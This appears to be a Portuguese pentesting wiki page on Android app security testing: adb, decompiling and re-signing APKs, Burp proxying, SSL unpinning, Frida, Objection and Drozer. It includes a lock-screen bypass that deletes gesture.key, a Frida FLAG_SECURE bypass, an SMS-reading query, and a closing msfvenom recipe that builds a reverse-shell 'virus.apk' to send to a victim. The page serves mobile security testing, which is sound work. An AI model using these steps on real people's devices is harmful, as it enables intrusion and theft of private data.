> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/mobile/android.md).

# Android

### Estrutura

<table><thead><tr><th>DIRETÓRIO</th><th width="230.39014373716634">DESCRIÇÃO</th></tr></thead><tbody><tr><td><code>/system/app</code></td><td>Aplicativos padrões (nativos), como Calculadora, Galeria, Maps, etc.</td></tr><tr><td><code>/data/app-private</code></td><td>Aplicativos de terceiro. Aqui podemos encontrar as APK's, caso tenho interesse.</td></tr><tr><td><code>/data/data</code></td><td>Estrutura dos aplicativos (nativos e de terceiros). Alguns dados dos app podem ser vistos aqui, incluindo arquivos de bando de dados.</td></tr><tr><td><code>data/app/&#x3C;package.name></code></td><td>Diretório onde ficam as APK's baixadas pela Play Store</td></tr><tr><td><code>/data/local/tmp</code></td><td>Diretório onde ficam os arquivos temporários</td></tr><tr><td><code>/data/system/gesture.key</code></td><td>Arquivo responsável por gerenciar o código de desbloqueio com sequência nos pontos.</td></tr><tr><td><code>/mnt/sdcard</code></td><td>Acesso ao cartão de memória</td></tr><tr><td><code>adb exec-out screencap -p > &#x3C;output_screen.png></code></td><td>Tira print da tela e salva em arquivo</td></tr></tbody></table>

### Baixando APK

#### Maneira 1

A maneira mais prática que temos de pegar uma APK, é baixando pela play store e depois acessando o shell do android, navegando até `/data/app/<package.name>` e então baixado o `<file.apk>`. Aqui caímos em um cenário interessante... o nome do package terá um prefixo (exceto nos Androids mais antigos), então um usuário comum não consegue listar o seu nome, já que somente o root acessa o diretório `/data/app`. Porém, o arquivo apk é acesível para todos, que fica em `/data/app/<package.name>/base.apk`. Então iremos precisar fazer um macete para pegarmos essas APK's sem precisar utilizar o root.

Verificando nomes dos pacotes:

```bash
adb shell pm list packages -3 | cut -d':' -f2
```

Após termos em mãos os nomes dos pacotes, podemos pegar o caminho exato do arquivo apk (que temos acesso):

```bash
adb shell pm path '<package.name>' | cut -d':' -f2
```

Feito isso, basta baixá-lo:

```bash
adb pull '</data/app/<package.name-sufixo>/base.apk'
```

####

#### Maneira 2

Primeiro acesse o site <https://play.google.com/store>, copie o link da página do app que deseja pegar a APK e então acesse o site <https://apps.evozi.com/apk-downloader/> e informe a URL copiada.

### Armazenamento de Dados

#### Shared Prefs

Este tipo consiste em armazenar informações localmente em `/data/data/<package.name>/shared_prefs/<package.name>_preferences.xml` (o app pode criar diversos arquivos, não se limite a olhar somente esse). Supondo que o app esteja armazenando o usuário e senha dessa maneira, tais credenciais podem ser comprometidas caso um atacante tenha acesso físico ao celular.

#### SQLite

Geralmente podemos encontrar o arquivo sqlite em `/data/data/<desenvolvedor.do.app>/databases`.

### Tipos de Arquivos e Conversões

Compilando código java (converte `file.java` em `file.class`)

```bash
javac <file.java>
```

Para verificar se o arquivo está ok, basta executar o comando abaixo (não precisa do sufixo `.class`):

```bash
java <file>
```

Por padrão, o Android não executa esse tipo de arquivo, então precisamos utilizar `DVM (Dalvik Virtual Machine)`, e para isso, é necessário converter arquivo `.class` em `.dex`.

```bash
./dx --dex --output=desec.dex Desec.class
```

Para testar se está ok, faça upload desse arquivo para o Android via `adb` (pode ser em `/data/local/tmp`) e depois execute o seguinte comando:

```bash
dalvikvm -cp <file.dex> <NameFileClass>
```

Nas versões mais atuais do Android, a execução é feita através do `ART (Android Runtime)`, então é preciso converter o arquivo `.dex` em `oat`.

```bash
dex2oat --dex-file=<file.dex> --oat-file=<file.oat>
```

Também podemos converter arquivos `.java` em `.dex` e depois em `.smali`.

```bash
javac --release 7 <file.java>
dx --dex --output=<file.dex> file.class
baksmali <file.dex> -o <file>
```

### Bypass em Tela de Bloqueio

Caso tenha acesso root ao Android via `adb`, podemos resetar a senha de desbloqueio (aquela que é preciso fazer uma determinada sequencia ligando os pontos). Para isso, basta executar o comando abaixo para deletar o arquivo responsável pelo gerenciamento dessa senha.

```
rm /data/system/gesture.key
```

Feito isso, basta agora utilizar qualquer sequencia de desbloqueio, que o Android irá validar como correto.

### Android Studio

Execute antes de instalar o Android Studio, execute:

```bash
sudo apt install libz1 libncurses5 libbz2-1.0:i386 libstdc++6 libbz2-1.0
```

Após a sua execução, abra o `Android Studio`, vá no menu Tools e clique em `Create Desktop Entry`, assim não é preciso entrar no diretório via terminal e chamar diretamente o arquivo `studio.sh` toda vez.

### Emulator

Esse, assim como o `adb`,  já faz parte do pacote do Android Studio e podemos utilizá-lo para iniciarmos um Android sem precisar abrir a GUI do Android Studio, que deve ser utilizado somente para criar os dispositivos antes.

Listando dispositivos disponíveis que já foram criados através do Android Studio

```bash
./emulator -list-avds
```

Iniciando um dispositivo

```bash
./emulator @<name>
```

Fornece permissão de escrita nas pastas de sistema quando viramos root

```bash
emulator -avd <avd_name> -writeable-system
```

###

### adb

{% hint style="info" %}
**ATENÇÃO**: Sempre que for utilizar o `adb`, certifique-se de emular o Android antes, através do ./emulator `@<android>`
{% endhint %}

| COMANDO                                                  | DESCRIÇÃO                                                                                                                                 |
| -------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| `adb devices`                                            | Lista os devices disponíveis                                                                                                              |
| `adb -s <device_name> shell`                             | Caso tenha mais de um device, é preciso passar o seu nome. Caso tenha somente um device, não é preciso especificar                        |
| `adb shell getprop ro.product.cpu.abi`                   | Descobrindo a arquitetura do Android                                                                                                      |
| `adb root`                                               | Reinicia o adb com permissões de root                                                                                                     |
| `adb unroot`                                             | Reinicia o adb sem permissões de root                                                                                                     |
| `adb shell`                                              | Conecta via shell no android (funciona somente quanto tem apenas 1 device)                                                                |
| `adb -e shell`                                           | Conecta via shell no android emulado (funciona somente quanto tem apenas 1 device emulado)                                                |
| `adb -d shell`                                           | Conecta via shell no android físico (funciona somente quanto tem apenas 1 device físico)                                                  |
| `adb shell <command>`                                    | Executa o comando no shell (sem entrar no modo interativo)                                                                                |
| `adb shell ps`                                           | Exibe os processos que estão em execução no Android                                                                                       |
| `adb push <file> /data/local/tmp`                        | Realiza upload de um arquivo para o tmp do Android                                                                                        |
| `adb pull </path/to/file.txt>`                           | Realiza download de um arquivo do Android para o diretório atual                                                                          |
| `adb pull </path/to/file.txt> </path/to/local/file.txt>` | Realiza download de um arquivo do Android para um diretório personalizado                                                                 |
| `adb install <file.apk>`                                 | Instala um app manualmente                                                                                                                |
| `adb uninstall package`                                  | Desinstala um app. Utilize o comando `ps` para listar o nome do package                                                                   |
| adb forward tcp:\<port> tcp:\<port>                      | Realiza um port forwarding                                                                                                                |
| `adb start-server`                                       | Inicia o serviço do adb                                                                                                                   |
| `adb kill-server`                                        | Encerra o serviço do adb. As vezes o adb trava, então é útil parar o seu serviço e iniciar novamente, isso muitas vezes corrige as falhas |

#### Package Manager

{% hint style="success" %}
**DICA**: Os comandos abaixo devem ser executados após entrar na shell interativa com o comando `adb shell` ou adicione o próprio prefixo `adb shell` nos comandos abaixo para não entrar na shell interativa.
{% endhint %}

| COMANDO                            | DESCRIÇÃO                           |
| ---------------------------------- | ----------------------------------- |
| `adb shell pm list users`          | Lista os usuários                   |
| `adb shell pm list packages`       | Lista todos os pacote               |
| `adb shell pm list packages -s`    | Lista todos os pacotes de sistema   |
| `adb shell pm list packages -3`    | Lista todos os pacotes de terceiros |
| `adb shell pm path <package_name>` | Mostra o caminho do APK             |

#### Activity Manager

{% hint style="success" %}
**DICA**: Os comandos abaixo devem ser executados após entrar na shell interativa com o comando **`adb shell`** ou adicione o próprio prefixo `adb shell` nos comandos abaixo para não entrar na shell interativa.
{% endhint %}

| COMANDO                                                                | DESCRIÇÃO                                   |
| ---------------------------------------------------------------------- | ------------------------------------------- |
| `am start -a android.intent.action.VIEW <http://site.com>`             | Abre o navegador já com determinada URL     |
| `am start -a android.intent.action.VIEW geo:0,0?q=<Nome+da+Empresa>`   | Procura por uma empresa no Google Maps      |
| `am start -a android.intent.action.CALL -d tel:<number>`               | Realiza uma ligação para determinado número |
| `am start -a android.intent.action.VIEW content://contacts/people`     | Abre a agenda de contatos telefônicos       |
| `am start -n com.android.music/com.android.music.MusicBrowserActivity` | Abre o player de música                     |

#### Services

{% hint style="success" %}
**DICA**: Os comandos abaixo devem ser executados após entrar na shell interativa com o comando `adb shell` ou adicione o próprio prefixo `adb shell` nos comandos abaixo para não entrar na shell interativa.
{% endhint %}

| COMANDO                                                                       | DESCRIÇÃO                          |
| ----------------------------------------------------------------------------- | ---------------------------------- |
| `am startservice -n com.android.music/com.android.music.MediaPlaybackService` | Iniciando um serviço em background |
| `am stopservice -n com.android.music/com.android.music.MediaPlaybackService`  | Finaliza um serviço em background  |

#### Broadcast Receivers

| COMANDO                                                | DESCRIÇÃO                                     |
| ------------------------------------------------------ | --------------------------------------------- |
| `am broadcast -a android.intent.action.BOOT_COMPLETED` | Exibe a mensagem (logo) quando liga o celular |

#### Content Providers

| COMANDO                                  | DESCRIÇÃO                                                                        |
| ---------------------------------------- | -------------------------------------------------------------------------------- |
| `content query --uri content://sms/sent` | Exibe no terminal todos os SMS que foram enviados e suas respectivas informações |

### &#x20;SSL Pinning / Unpinning

No final dessa página, utilize o link de download para baixar o Frida Multiple Pinning, que resolve questões de Pinning e falhas de `TrustManager`, que geralmente vem acompanhando de erros como `java.security.cert.CertPathValidatorException: Trust anchor for certification path not found` ao realizarmos uma interceptação via Burp Suite.

Podemos procurar por pontos de pinagem em código ofuscado, extraindo o código com o `apktool` e depois procurando por palavras-chave, como no exemplo abaixo:

```bash
grep -irnE -A6 'method public.*\(Ljava/lang/String;Ljava/lang/String;\)' | grep -i pin
```

#### Manual

Após decompilar  a APK com o apktool, vá na tag `application` dentro arquivo `AndroidManifest.xml` e adicione o seguinte conteúdo:

```bash
android:networkSecurityConfig="@xml/network_security_config"
```

Vá em `res/xml` e crie um arquivo chamado `network_security_config.xml`, com o seguinte conteúdo:

```bash
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
	<base-config>
		<trust-anchors>
			<certificates src="system" />
			<certificates src="user" />
		</trust-anchors>
	</base-config>
</network-security-config>
```

Compile com o apktool e em seguida crie uma auto assinatura (todos esses passos estão nessa mesma página).

### Proxy

#### Maneira 1

Essa é sem dúvidas a forma mais, pois iremos apenas criar um túnel via adb utilizando o comando abaixo. Não é preciso importar certificado do Burp nesse processo.

```bash
adb reverse tcp:8080 tcp:8080
```

Verificando os túneis que estão ativos

```bash
adb reverse --list
```

Após isso, basta ir nas configuração do Wifi e adicionar um proxy para 127.0.0.1 na porta 8080. Com isso, possívelmente já deve ser capaz de interceptar as requisições via Burp, porém em alguns cenários isso não é o suficiente, já que o firewall pode barrar esse tipo de conexão. Para resolver este cenário, acesse o Android com root e execute os seguintes comandos:

```bash
iptables -t nat -A OUTPUT -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A OUTPUT -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 8080
```

Feito isso, vá no `Burp Suite` > `Proxy` > `Options`, selecione o Listener (127.0.0.1:8080), clique em `Edit`, vá na aba `Request handling` e selecione a opção `Support invisble proxying (enable only if needed)`.

#### Maneira 2

Caso utilize algum proxy (por exemplo, o Burp Suite), utilize o comando abaixo. Lembre-se também de, alterar o proxy nas configurações de rede do próprio Android, seja editando a Rede Wifi ou a Rede Móvel (configurando o APN - Access Point Names). Configure um PIN de 4 dígitos para bloqueio de tela e importe também o certificado confiável do proxy para que possa os apps normalmente. Caso utilize o wifi em um Android Emulador, desabilite o 3G/4G.

```bash
./emulator @<name> -http-proxy <ip>:<port>
```

Outra alternativa é, alterar as configurações no menu suspenso que fica do lado do mobile, onde é possível configurar o proxy.

### Acessando como root

Ao utilizar o Android Studio e emular um novo Android, se atente ao ponto onde, imagens com o Google Play instalado não possui o root ativo, já os que não possuem o Google Play, podem ser acessados como root.

#### Maneira 1

Após iniciar o Android e acessar via `adb shell`, note que temos acesso de um usuário comum, mas podemos ter acesso root apenas digitando `su` no terminal. Se preferir, pode-se utilizar o comando `adb root` para ficar com acesso root diretamente, note que após isso, o comando `adb shell id` terá um resultado diferente.

#### Maneira 2

Outra maneira de fazermos o processo de root é executar o seguinte comando em um terminal:

```bash
./emulator -avd <android-name> -writable-system -selinux permissive -qemu -enable-kvm
```

E em outro terminal:

```bash
adb root
adb remount
adb shell
```

### Diretórios e Arquivos Importantes (APK)

#### AndroidManifest.xml

{% hint style="info" %}
**NOTA**: No final da página (na seção `sites`, há um link onde pode enviar conteúdo no `AndroidManifest.xml` e o site irá explicar cada permissão que o app está utilizando).
{% endhint %}

Este é o principal arquivo de configuração usado por todos os aplicativos Android. É usado pelo Android para obter informações sobre o aplicativo, bem como quais funcionalidades estão expostas a outros aplicativos (entre outras coisas).

Fique atento as seguintes informações:

* **package** = Nome do app
* **platformBuildVersionCode** = Versão do SDK que aplicativo foi compilado
* **android:allowBackup="true"** = É possível fazer um backup do aplicativo via `adb`
* **android:exported="true"** = Este serviço pode ser invocado por outros aplicativos
* **android.permission.SET\_DEBUG\_APP** = Caso esse recurso esteja ativo (presente no `AndroidManifest.xml`, significa que o aplicativo pode realizar debug de outros aplicativos.
* **android.permission.DUMP** = Permite que o aplicativo recupere o estado interno do sistema, permitindo recuperar uma grande variedade de informações privadas e seguras.
* **android.permission.MANAGE\_ACCOUNTS** = Permite que a aplicação permita criar e excluir contas

Um ponto importante também a ser notado, é que o podemos ver a tag `activity` no AndroidManifest.xml, e dentro dela, a tag `intent-filter` com sua respectiva `action`. Isso siginifica que essa action pode ser chamada por outros apps, ou até mesmo de forma manual, independente do app estar em execução ou não. Execute então o Activity Manager (am) para realizar tal chamada, substituindo o `<activity_android:name>` abaixo, com o valor de `android:name`, localizado na tag `activity`, porém adicionando um `/` antes do último ponto. Exemplo:

```bash
adb shell am start <activity.android/.name>
```

Podemos também chamá-lo de uma maneira diferente, passando o parâmetro `-n` para informar o `Componente` e o `-a` para informa a `Action` (valor de `android:name` dentro da tag `action`).

```bash
adb shell am start -n <activity.android/.name> -a <android.name.action.XYZ>
```

Em alguns casos, essas actions podem/devem receber parâmetros (que não são exibidas no AndroidManifest.xml), então deve adicionar o parâmetro --ez no comando acima. Para saber quais parâmetros são esses, devemos decompilar com o apktool e ler o código-fonte e, após isso, acessar res/values/strings.xml e verificar o nome real que deve ser passado pelo adb, como no exemplo abaixo:

```bash
adb shell am start -n <activity.android/.name> -a <android.name.action.XYZ> --ez <param> <value>
```

Outro ponto importante de vermos são os respectivos donos (ID de grupo e usuário)

```bash
cd /data/data
ls -lan
dumpsys package | grep 'Package \[' -A1
```

#### res/layout/activity\_main.xml

Conteúdo em XML que contém um código fonte do frontend da aplicação.

#### res/values/strings.xml

String única que pode ser referenciada do aplicativo ou de outros arquivos de recurso (como um layout XML).

#### HardcodeActivity

Arquivo que podemos encontrar por chaves e demais valores que estão engessados no código. Caso use o apktool, este deve estar com a extensão `smali`.

#### LogActivity

Arquivo que gera saídas de log, que pode ser lida através do `adb logcat`.

### Lendo Logs em Real Time

Isso é útil para identificarmos dados sensíveis que são disponíveis nos log's.

```bash
adb shell logcat
```

{% hint style="success" %}
**DICA**: Caso queira filtrar por determiando processo, utilize o comando `ps`, e então execute o comando acima utilizando um `grep` com o PID do processo que deseja monitorar.
{% endhint %}

### Flag Secure

Aplicativos com o Flag Secure ativo, bloqueia print do app quando ele está aberto e/ou quando a janela aparece na lista de apps abertos. Também é útil para barrar ferramentas que acessam um app físico remotamente, como Vysor.

Bypass de Flag Secure. Salve o código abaixo com o nome xpl.js

```bash
Java.perform(function() {
	var surface_view = Java.use('android.view.SurfaceView');
	var set_secure = surface_view.setSecure.overload('boolean');
	set_secure.implementation = function(flag) {
		console.log("setSecure() flag called with args: " + flag);
		set_secure.call(false);
	}

	var window = Java.use('android.view.Window');
	var set_flags = window.setFlags.overload('int', 'int');
	var window_manager = Java.use('android.view.WindowManager');
	var layout_params = Java.use('android.view.WindowManager$LayoutParams');

	set_flags.implementation = function(flags, mask) {
		flags = (flags.value & ~layout_params.FLAG_SECURE.value);
		set_flags.call(this, flags, mask);
	}
});
```

Agora execute:

```bash
/path/to/frida -U -f '<package.name>' -l xpl.js --no-pause
```

{% hint style="info" %}
**NOTA**: Até o momento não existe uma maneira 100% eficaz que barre esse tipo de bypass
{% endhint %}

### Content Provider

Primeiro verifique se o `AndroidManifest.xml` possui a chave/valor `android:exported="true"` na tag `provider`, e caso seja positivo, execute o comando abaixo no código-fonte decompilado para buscar pelo `content`:

```bash
grep -irn 'content://'
```

Caso localize algo com o `grep` acima, utilize o comando abaixo para ver os seu conteúdo:

```bash
adb shell content query --uri content://<desenvolvedor.package.name.provider.provider/name>
```

### MobSF

Executando via Docker

```bash
sudo docker pull opensecurity/mobile-security-framework-mobsf
sudo docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```

### Drozer

#### Instalação

Instalando o Drozer no Android

```bash
adb install drozer.apk
```

Entre na GUI do Drozer, inicialize o serviço pelo próprio app e verifique a porta que foi aberta (geralmente é 31415).

Levando em conta que estamos utilizando a porta default (31415), vamos fazer um Port Forwarding via adb, com o seguinte comando:

```bash
adb forward tcp:31415 tcp:31415
```

Feito isso, vamos iniciar o Drozer no terminal Linux, com o comando abaixo. Adicione `--server <phone-ip>` caso não seja na mesma máquina que esteja executando o Drozer e o Android.

```bash
drozer console connect
```

#### Utilização

Lista todos os módulos disponíveis

```bash
list
```

Help

```bash
help <module>
```

Acessando Shell do dispositivo

```
shell
```

Buscando por todos os pacotes

```bash
run app.package.list
```

Informações sobre as activities do um package. Adicione `-u` no final para ver todas as activities, pois por padrão só serão exibidas as que são exportadas, pois são propensas a ataques.

```bash
run app.activity.info -a <package>
```

Chamando uma activity

```bash
run app.activity.start --component <package> <activity>
```

Buscando por todos os pacotes, porém utilizando um filtro pelo nome

```bash
run app.package.list -f <name>
```

Informações sobre o pacote

```bash
run app.package.info -a <package>
```

Exibindo o AndroidManifest.xml

```bash
run app.package.manifest <package>
```

Examina a superfície de ataques do pacote instalado

```bash
run app.package.attacksurface <package>
```

Procura por Providers que podem ser executadas via query

```bash
run scanner.provider.finduris -a <package>
```

###

### Decompilando APK

#### apktool

Baixe a APK que deseja decompilar, vá no terminal e execute o comando abaixo. Caso não especifique a saída, será utilizado o diretório local.

```bash
apktool d <nome_de_saida> -o </caminho/completo/file.apk>
```

Disassemble sem o `resources`

```bash
apktool -r d <file.apk> -o <output> 
```

Em alguns casos, é melhor baixar o apktool.jar e executá-lo, pois o que vem nativo no Kali as vezes pode apresentar alguns erros. Verifique no final dessa página a URL para download.  Nesse caso, como se tratar de um arquivo `.jar`, precisamos executá-lo da seguinte forma:

```bash
java -jar apktool.jar d <file.apk> -o <output>
```

#### &#x20;Smali / BakSmali

Se executar o comando abaixo e não especificar o output, irá ser criado um diretório chamado `out`,  onde irá conter os arquivos com extensão smali.

```
java -jar baksmali.jar d <file.apk> -o <output_dir>
```

\
unzip

Outra maneira de descompactarmos uma apk (o resultado poderá diferente do comando anterior), é utilizando o `unzip`:

```bash
unzip <file.apk>
```

#### jadx

Extraindo arquivo com extensão .java

```
jadx </path/file.apk> -d <output_dir>
```

Abrindo apk em modo gráfico (IDE) em real time

```
jadx-gui </path/file.apk>
```

Além fazer essa extração de `.apk` para `.java`, o `jadx-gui` também consegue abrir arquivos `.apk` e ler o seu conteúdo, decompilando em tempo de execução.

#### enjarify

Instalação

```bash
sudo apt install enjarify
```

Converte `.apk` em `.jar`

```bash
enjarify <file.apk> -o <file_output.jar>
```

###

### Pós Decompilação

#### Arquivos dex

As vezes ao desmontarmos uma APK, podemos ter arquivos de classes com extensão `dex`. Para lermos esses arquivos, temos que converter esse arquivo em `jar` e então, descompactarmos ele com o `unzip`.

```bash
d2j-dex2jar <file.dex>
unzip <file-dex2har.jar>
```

{% hint style="success" %}
**OBSERVAÇÃO**: Também é possível fazer esse processo direto no `<file.apk>`, através do comando `d2j-dex2jar <file.apk> -o <output_file.zip>` e depois unzip `<output_file.zip>.`
{% endhint %}

#### Lendo Arquivos class

O comando abaixo irá fazer uma cópia do arquivo `.class` para o diretório atual, com a extensão `.jad` (legível)

```bash
jad <file.class>
```

Caso tenha acesso ao GUI, utilize o comando abaixo para abrir uma ferramenta em modo gráfico:

```bash
jd-gui
```

{% hint style="info" %}
**NOTA**: o **`jd-gui`** lê mais tipos de arquivos, como: `.aar`, `.class`, `.ear`, `.jar, .java`, `.jmod,` `.log`, `.war` e `.zip`
{% endhint %}

#### Manipulando Arquivos class

Depois de montar um arquivo `.jad` a partir um arquivo `.class`, podemos manipular o código com qualquer editor. Primeiro altere a extensão de `.jad` para `.java` e então execute o seguinte comando para converter em arquivo `.java` em `.class`. Atente-se que, caso tenha um arquivo com o mesmo nome e extensão `.class`, o mesmo será sobrescrito sem perguntar se deseja fazer isso ou não.

```bash
javac <file.java>
```

Feito isso, será criado um arquivo `.class` e partir do arquivo `.java`, o que nos permite agora executá-lo diretamente.

```bash
java <file>
```

{% hint style="info" %}
**NOTA**: O comando **`java`** irá buscar automaticamente por um arquivo com extensão **`.class`**, então coloque somente o nome do arquivo.&#x20;
{% endhint %}

### Compilando APK

Agora que APK já foi modificada, basta montá-la novamente, depois assiná-la e por fim, alinhá-la.

#### apktool

```bash
apktool b <nome_do_diretório_com_codigo_extraído> -o <output.apk>
```

Se montar o APK e não definir o output, o APK estará localizado em `<nome_do_diretório_com_codigo_extraído/dist/file.apk>`.

#### smali

```bash
java -jar <smali-x.x.x.jar> assemble <output_disass> -o <classes.dex>
zip -r <output.apk> AndroidManifest.xml classes.dex res resources.arsc
```

### Certificado Auto-Assinado

Após ter montado o APK, precismos assiná-lo digitalmente para que possa ser instalado no Android. Talvez seja preciso ainda, fazer o alinhamento para que seja feito a instalação do APK com sucesso.

Gerando a chave e auto-assinando:&#x20;

```bash
keytool -genkey -v -keystore <hack.keystore> -alias <alias> -keyalg RSA -keysize 2048 -validity 10000
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore <hack.keystore> <file.apk> <alias>
```

**OBS.:** Caso dê erro `invalid entry compressed size` ao executar o `jarsigner`, execute o comando abaixo e depois use o `jarsigner` novamente:

```bash
zip -d <file.apk> META-INF/\*
```

Verificar a assinatura (geralmente encontramos o `jarsigner` no diretório do Android Studio: `./android-studio/jre/bin/jarsigner`)

```bash
jarsigner -verify -verbose -certs <file.apk>
```

Listando os certificados que tem dentro do keystore

```bash
keytool -list -v -keystore <file.keystore>
```

Exportando o certificado para ter uma melhor visualização

```bash
keytool -export -rfc -keystore <file.keystore> -alias <alias> -file <file_output.cer>
```

### Alinhamento do APK (Align)

Esse procedimento é realizado após compilar a APK e auto assiná-la. Isso é importante, pois em alguns casos não é possível instalar a APK mesmo depois de auto assinar.

Geralmente encontramos o `zipalign` em `./Android/Sdk/build-tools/<version>/zipalign`.

```bash
zipalign -v 4 <file.apk> <final.apk>
```

### Frida

Tem muitas dependências, então caso dê pau, utilize outras versões. De preferência, utilize a partir da 15.0.0. O recomendado é utilizar a mesma versão no Frida Server (Android) e no Frida Client (Computador).

{% hint style="info" %}
**IMPORTANTE:** Antes de realizar o procedimento abaixo para instalar, certifique-se de baixar o frida para a arquitetura correta do Android. Verifique como fazer isso na seção acima de `adb`.
{% endhint %}

#### Instalando Frida Client (computador)

Certifique-se de que o python está na versão 3

```bash
pip install frida-tools
# ou 
python -m pip install frida-tools
```

#### Instalando Frida Server (android emulado)

Baixe e descompacte o `frida.xz`, envie para o Android em `/data/local/tmp/` e dê a permissão com o seguinte comando:

```bash
chmod +x /data/local/tmp/<frida-server>
```

#### Instalando Frida Server (android físico)

Baixe e descompacte o `frida.xz`, envie para o Android em `/data/local/tmp/`. Para dar permissão de execução, utilize um dos comandos abaixo:

```bash
adb shell su -c chmod +x /data/local/tmp/<frida-server>
adb shell su 0 chmod +x /data/local/tmp/<frida-server>
```

#### Executando (android emulado)

```bash
adb root
adb shell chmod +x /data/local/tmp/<frida-server>
adb shell /data/local/tmp/<frida-server> &
```

####

#### Executando (android físico)

Execute um dos comandos abaixo:

```bash
adb shell su -c /data/local/tmp/frida-server &
adb shell su 0 /data/local/tmp/frida-server &
```

####

#### Utilização

Verificando aplicativos que estão em execução no Android

```bash
frida-ps -U
```

Tunelamento / Proxy

```bash
adb reverse tcp:8080 tcp:8080
</path/to/frida> -U -f <package.name> -l <unpinning.js> --no-pause
```

###

### Objection

Trabalha em cima do Frida, porém de uma forma mais automatizada, então certifique-se de executar o Frida Server (Android) antes de utilizar o Objection.

#### Instalação

Certifique-se de que o python está na versão 3

```bash
pip install objection
python -m pip install objection
```

#### Utilização

Conectando no android a abrindo um app (execute o frida server antes)

```bash
objection --gadget <package.name> explore
```

Verificando variáveis de ambiente

```bash
env
```

Executando comandos no SO

```bash
android shell_exec <command>
```

Importando script do Frida

```bash
import </path/to/frida>
```

Versão do Frida

```bash
frida
```

Baixando arquivo

```bash
file download </path/android/file> .
```

Upload de arquivo

```bash
file upload <file> </path/android> 
```

Tirando print da tela (somente se o app estiver em primeiro plano)

```bash
android ui screenshot <output_file>
```

Listando as Activities

```bash
android hooking list activities
```

Listando os Services

```bash
android hooking list services
```

Listando os Receivers

```bash
android hooking list receivers
```

Verificando qual a Activity que está sendo exibida no exato momento na aplicação. Ao alterar de tela no app, verifique que o comando abaixo irá mudar a resposta, exibindo a respectiva Activity no momento

```bash
android hooking get current_activity
```

Abrindo uma Activity

```bash
android intent launch_activity <package.name>.<activity>
```

Exibe todas as classes que são carregadas na aplicação

```bash
android hooking list classes
```

Semelhante ao comando anterior, porém este irá trazer somente as classes de um detereminado app. Note que o resultado irá trazer o nome (caminho) completo dessa classe, porém nos próximos comandos, utilize somente o final (o que está após o último ponto final) do resultado

```bash
android hooking search classes <package.name>
```

Pegando os métodos de uma determinada classe de um determinado app

```bash
android hooking search methods <package.name> <class>
```

Verificando os parâmetros que um determinado método possui

```bash
android hooking list class_methods <package.name>.<class>
```

Pegando um exemplo de Hooking. Depois de ver o resultado, altere a linha comentada com um `console.log("Texto aqui");` e salve em um arquivo `.js`. Após isso, execute e verifique se a mensagem foi exibida com sucesso no terminal do Objection, materializando assim que o Hooking teve êxito. Note que, ao realizar o comando abaixo, será gerado um script com todos os métodos da classe MainActivity, então limpe/apague o código dos métodos que não for utilizar. Abaixo estamos utilizando o `MainActivity`, mas altere para a classe que deseja atacar.

```bash
# Gerando Hooking JS
android hooking generate simple <package.name>.<MainActivity>

# Executando o Hooking
frida-ps -U -f '<package.name>' -l <file.js> --no-pause
```

Exemplo de código que deverá ser gerado:

```bash
Java.perform(function() {
    var clazz = Java.use('<package.name>.<MainActivity>');
    clazz.onCreate.implementation = function() {

        //
	
	return clazz.onCreate.apply(this, arguments);
    }
});
```

### Super-Analyzer

Ferramenta via terminal que exporta um HTML com vulnerabilidades encontradas.

```bash
super-analyzer <file.apk>
```

Após o termino da execução do comando acima, leia o arquivo situado em `./results/owasp.mstg./index.html`.

### ClassyShark

Ferramenta desenvolvida em Java que permite ler código-fonte de APK.

#### Iniciando o ClassyShark

```bash
java -jar ClassyShark.jar
```

###

### AATP2 (Android Asset Packaging Tool)

O AAPT2 (Android Asset Packaging Tool) é uma ferramenta de compilação que o Android Studio e o Plug-in do Android para Gradle usam para compilar e empacotar recursos de apps. O AAPT2 analisa, indexa e compila os recursos em um formato binário que é otimizado para a plataforma Android. Apesar de vermos o AAPT2 sendo utilizada em conjuntos com outras ferramentas, também podemos utilizá-la separadamente via terminal.

#### Verificando permissões do APK

Este na verdade irá ler o `AndroidManifest.xml` e extrair as devidas informações.

```bash
aapt dump permissions sample-expense-manager.apk
```

### Lendo Arquivos ab

Arquivos com extensão `.ab` são usados para fazer backup. Para ver o seu conteúdo, execute:

```bash
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 <file.ab> ) |  tar xfvz -
```

### Invadindo Android com Metasploit

```bash
msfconsole
msfvenom -p android/meterpreter/reverse_tcp LHOST=<ip_atacante> LPORT=<port> R > <virus.apk>
use multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST <ip_atacante>
set LPORT <port>
exploit
```

Agora envie o arquivo gerado  para a vítima e, assim que ele executar a APK, irá entrar no Meterpreter

### Sites

```bash
# Download do apktool
https://github.com/iBotPeaches/Apktool/releases

# Site para baixar APK
https://apkcombo.com/pt/

# Frida Multiple Unpinning
https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/

# Fridantiroot
https://codeshare.frida.re/@dzonerzy/fridantiroot/

# Site para saber o que significa cada permissão do AndroidManifest.xml
http://androidpermissions.com/

# Detalhes sobre o AndroidManifest.xml
https://developer.android.com/guide/topics/manifest/manifest-intro

# Frida
https://github.com/frida/frida/releases/

# Proxiando Android com Burp Suite
https://portswigger.net/support/configuring-an-android-device-to-work-with-burp

# Baksmali e Smali - Baixe os arquivos baksmali-x.x.x.jar e smali-x.x.x.jar
https://bitbucket.org/JesusFreke/smali/downloads/
https://gitlab.com/kalilinux/packages/smali

# Enjarify - Converte um arquivo .apk em uma .jar
https://github.com/google/enjarify

# Jython - Executa um Java dentro ou do Python ou vice-versa
https://www.jython.org
```
